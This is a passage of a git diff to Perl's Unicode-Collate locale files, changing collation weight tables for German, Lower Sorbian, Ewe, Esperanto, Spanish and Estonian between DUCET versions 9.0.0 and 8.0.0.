A WITH DIAERESIS AND MACRON -01DE ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00F6 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00FC ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -00DF ; [.1E71.0020.0002][.1E72.0020.0002] # LATIN SMALL LETTER SHARP S -1E9E ; [.1E71.0020.0008][.1E72.0020.0008] # LATIN CAPITAL LETTER SHARP S + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00E4 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1BC3.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1BC3.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00F6 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00FC ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +00DF ; [.1DEC.0020.0002][.1DED.0020.0002] # LATIN SMALL LETTER SHARP S +1E9E ; [.1DEC.0020.0008][.1DED.0020.0008] # LATIN CAPITAL LETTER SHARP S ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/de_phone.pl b/cpan/Unicode-Collate/Collate/Locale/de_phone.pl index cda68122762e..0c8933d9d056 100644 --- a/cpan/Unicode-Collate/Collate/Locale/de_phone.pl +++ b/cpan/Unicode-Collate/Collate/Locale/de_phone.pl @@ -1,29 +1,29 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00E4 ; [.1C47.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1C47.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1C47.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1C47.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1C47.0021.0002][.1CAA.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1C47.0021.0008][.1CAA.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00F6 ; [.1DDD.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1DDD.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1DDD.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1DDD.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1DDD.0021.0002][.1CAA.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1DDD.0021.0008][.1CAA.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00FC ; [.1EB5.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB5.0021.0002][.1CAA.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB5.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB5.0021.0008][.1CAA.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1EB5.0021.0002][.1CAA.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0021.0008][.1CAA.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00E4 ; [.1BC2.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1BC2.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1BC2.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1BC2.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1BC2.0021.0002][.1C25.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1BC2.0021.0008][.1C25.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00F6 ; [.1D58.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1D58.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1D58.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1D58.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1D58.0021.0002][.1C25.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1D58.0021.0008][.1C25.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00FC ; [.1E30.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E30.0021.0002][.1C25.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E30.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E30.0021.0008][.1C25.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E30.0021.0002][.1C25.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0021.0008][.1C25.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/dsb.pl b/cpan/Unicode-Collate/Collate/Locale/dsb.pl deleted file mode 100644 index 3fbe87500bf2..000000000000 --- a/cpan/Unicode-Collate/Collate/Locale/dsb.pl +++ /dev/null @@ -1,59 +0,0 @@ -+{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0107 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0063 0301 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0063 0341 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0106 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0043 0301 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0043 0341 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -011B ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CARON -0065 030C ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CARON -0045 030C ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CARON -0063 0068 ; [.1D19.0020.0002] # -0063 0048 ; [.1D19.0020.0007][.0000.0000.0002] # -0043 0068 ; [.1D19.0020.0007][.0000.0000.0008] # -0043 0048 ; [.1D19.0020.0008] # -0142 ; [.1D76.0020.0002] # LATIN SMALL LETTER L WITH STROKE -006C 0335 ; [.1D76.0020.0002] # LATIN SMALL LETTER L WITH STROKE -0141 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE -004C 0335 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE -0144 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE -0155 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE -0072 0301 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE -0072 0341 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH ACUTE -0154 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE -0052 0301 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE -0052 0341 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH ACUTE -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -015B ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE -0073 0301 ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE -0073 0341 ; [.1E73.0020.0002] # LATIN SMALL LETTER S WITH ACUTE -015A ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE -0053 0301 ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE -0053 0341 ; [.1E73.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE -017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -017A ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE -007A 0301 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE -007A 0341 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE -0179 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE -005A 0301 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE -005A 0341 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE -ENTRY -}; diff --git a/cpan/Unicode-Collate/Collate/Locale/ee.pl b/cpan/Unicode-Collate/Collate/Locale/ee.pl index 264494f44dc4..652326af431a 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ee.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ee.pl @@ -1,36 +1,36 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # d-tail, open-e, f-hook, gamma, eng, open-o, v-hook don't require tailoring - entry => <<'ENTRY', # for DUCET v9.0.0 + entry => <<'ENTRY', # for DUCET v8.0.0 0302 ; [.0000.0029.0002] # COMBINING CIRCUMFLEX ACCENT -00E2 ; [.1C47.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX -00C2 ; [.1C47.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX -00EA ; [.1CAA.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -00EE ; [.1D32.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX -00CE ; [.1D32.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX -00F4 ; [.1DDD.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1DDD.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -00FB ; [.1EB5.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX -00DB ; [.1EB5.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX -0177 ; [.1F0B.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX -0176 ; [.1F0B.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX -0064 007A ; [.1C90.0020.0002] # -0044 007A ; [.1C90.0020.0007] # -0044 005A ; [.1C90.0020.0008] # -0067 0062 ; [.1CF5.0020.0002] # -0047 0062 ; [.1CF5.0020.0007] # -0047 0042 ; [.1CF5.0020.0008] # -0078 ; [.1D19.0020.0002] # LATIN SMALL LETTER X -0058 ; [.1D19.0020.0008] # LATIN CAPITAL LETTER X -006B 0070 ; [.1D66.0020.0002] # -004B 0070 ; [.1D66.0020.0007] # -004B 0050 ; [.1D66.0020.0008] # -006E 0079 ; [.1DBA.0020.0002] # -004E 0079 ; [.1DBA.0020.0007] # -004E 0059 ; [.1DBA.0020.0008] # -0074 0073 ; [.1E96.0020.0002] # -0054 0073 ; [.1E96.0020.0007] # -0054 0053 ; [.1E96.0020.0008] # +00E2 ; [.1BC2.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX +00C2 ; [.1BC2.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX +00EA ; [.1C25.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +00EE ; [.1CAD.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX +00CE ; [.1CAD.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX +00F4 ; [.1D58.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1D58.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +00FB ; [.1E30.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX +00DB ; [.1E30.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX +0177 ; [.1E86.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX +0176 ; [.1E86.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX +0064 007A ; [.1C0B.0020.0002] # +0044 007A ; [.1C0B.0020.0007] # +0044 005A ; [.1C0B.0020.0008] # +0067 0062 ; [.1C70.0020.0002] # +0047 0062 ; [.1C70.0020.0007] # +0047 0042 ; [.1C70.0020.0008] # +0078 ; [.1C94.0020.0002] # LATIN SMALL LETTER X +0058 ; [.1C94.0020.0008] # LATIN CAPITAL LETTER X +006B 0070 ; [.1CE1.0020.0002] # +004B 0070 ; [.1CE1.0020.0007] # +004B 0050 ; [.1CE1.0020.0008] # +006E 0079 ; [.1D35.0020.0002] # +004E 0079 ; [.1D35.0020.0007] # +004E 0059 ; [.1D35.0020.0008] # +0074 0073 ; [.1E11.0020.0002] # +0054 0073 ; [.1E11.0020.0007] # +0054 0053 ; [.1E11.0020.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/eo.pl b/cpan/Unicode-Collate/Collate/Locale/eo.pl index 3a6ceb433af4..116f950eac11 100644 --- a/cpan/Unicode-Collate/Collate/Locale/eo.pl +++ b/cpan/Unicode-Collate/Collate/Locale/eo.pl @@ -1,29 +1,29 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0109 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX -0063 0302 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX -0108 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX -0043 0302 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX -011D ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX -0067 0302 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX -011C ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX -0047 0302 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX -0125 ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX -0068 0302 ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX -0124 ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX -0048 0302 ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX -0135 ; [.1D4D.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX -006A 0302 ; [.1D4D.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX -0134 ; [.1D4D.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX -004A 0302 ; [.1D4D.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX -015D ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX -0073 0302 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX -015C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX -0053 0302 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX -016D ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH BREVE -0075 0306 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH BREVE -016C ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE -0055 0306 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0109 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX +0063 0302 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX +0108 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX +0043 0302 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX +011D ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX +0067 0302 ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX +011C ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX +0047 0302 ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX +0125 ; [.1C94.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX +0068 0302 ; [.1C94.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX +0124 ; [.1C94.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX +0048 0302 ; [.1C94.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX +0135 ; [.1CC8.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX +006A 0302 ; [.1CC8.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX +0134 ; [.1CC8.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX +004A 0302 ; [.1CC8.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX +015D ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX +0073 0302 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX +015C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX +0053 0302 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX +016D ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH BREVE +0075 0306 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH BREVE +016C ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE +0055 0306 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/es.pl b/cpan/Unicode-Collate/Collate/Locale/es.pl index 2075de3b145a..d7991e96ba5e 100644 --- a/cpan/Unicode-Collate/Collate/Locale/es.pl +++ b/cpan/Unicode-Collate/Collate/Locale/es.pl @@ -1,9 +1,9 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00F1 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -00D1 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE -004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00F1 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +00D1 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE +004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/es_trad.pl b/cpan/Unicode-Collate/Collate/Locale/es_trad.pl index c57b53868802..2b8aad1ef3bc 100644 --- a/cpan/Unicode-Collate/Collate/Locale/es_trad.pl +++ b/cpan/Unicode-Collate/Collate/Locale/es_trad.pl @@ -1,15 +1,15 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0063 0068 ; [.1C7B.0020.0002] # -0043 0068 ; [.1C7B.0020.0007] # -0043 0048 ; [.1C7B.0020.0008] # -006C 006C ; [.1D78.0020.0002] # -004C 006C ; [.1D78.0020.0007] # -004C 004C ; [.1D78.0020.0008] # -00F1 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE -00D1 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE -004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0063 0068 ; [.1BF6.0020.0002] # +0043 0068 ; [.1BF6.0020.0007] # +0043 0048 ; [.1BF6.0020.0008] # +006C 006C ; [.1CF3.0020.0002] # +004C 006C ; [.1CF3.0020.0007] # +004C 004C ; [.1CF3.0020.0008] # +00F1 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE +00D1 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE +004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/et.pl b/cpan/Unicode-Collate/Collate/Locale/et.pl index eb503d09630b..ac084ec4f59e 100644 --- a/cpan/Unicode-Collate/Collate/Locale/et.pl +++ b/cpan/Unicode-Collate/Collate/Locale/et.pl @@ -1,51 +1,51 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0161 ; [.1E92.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E92.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E92.0020.0008] # LATIN CAPITAL 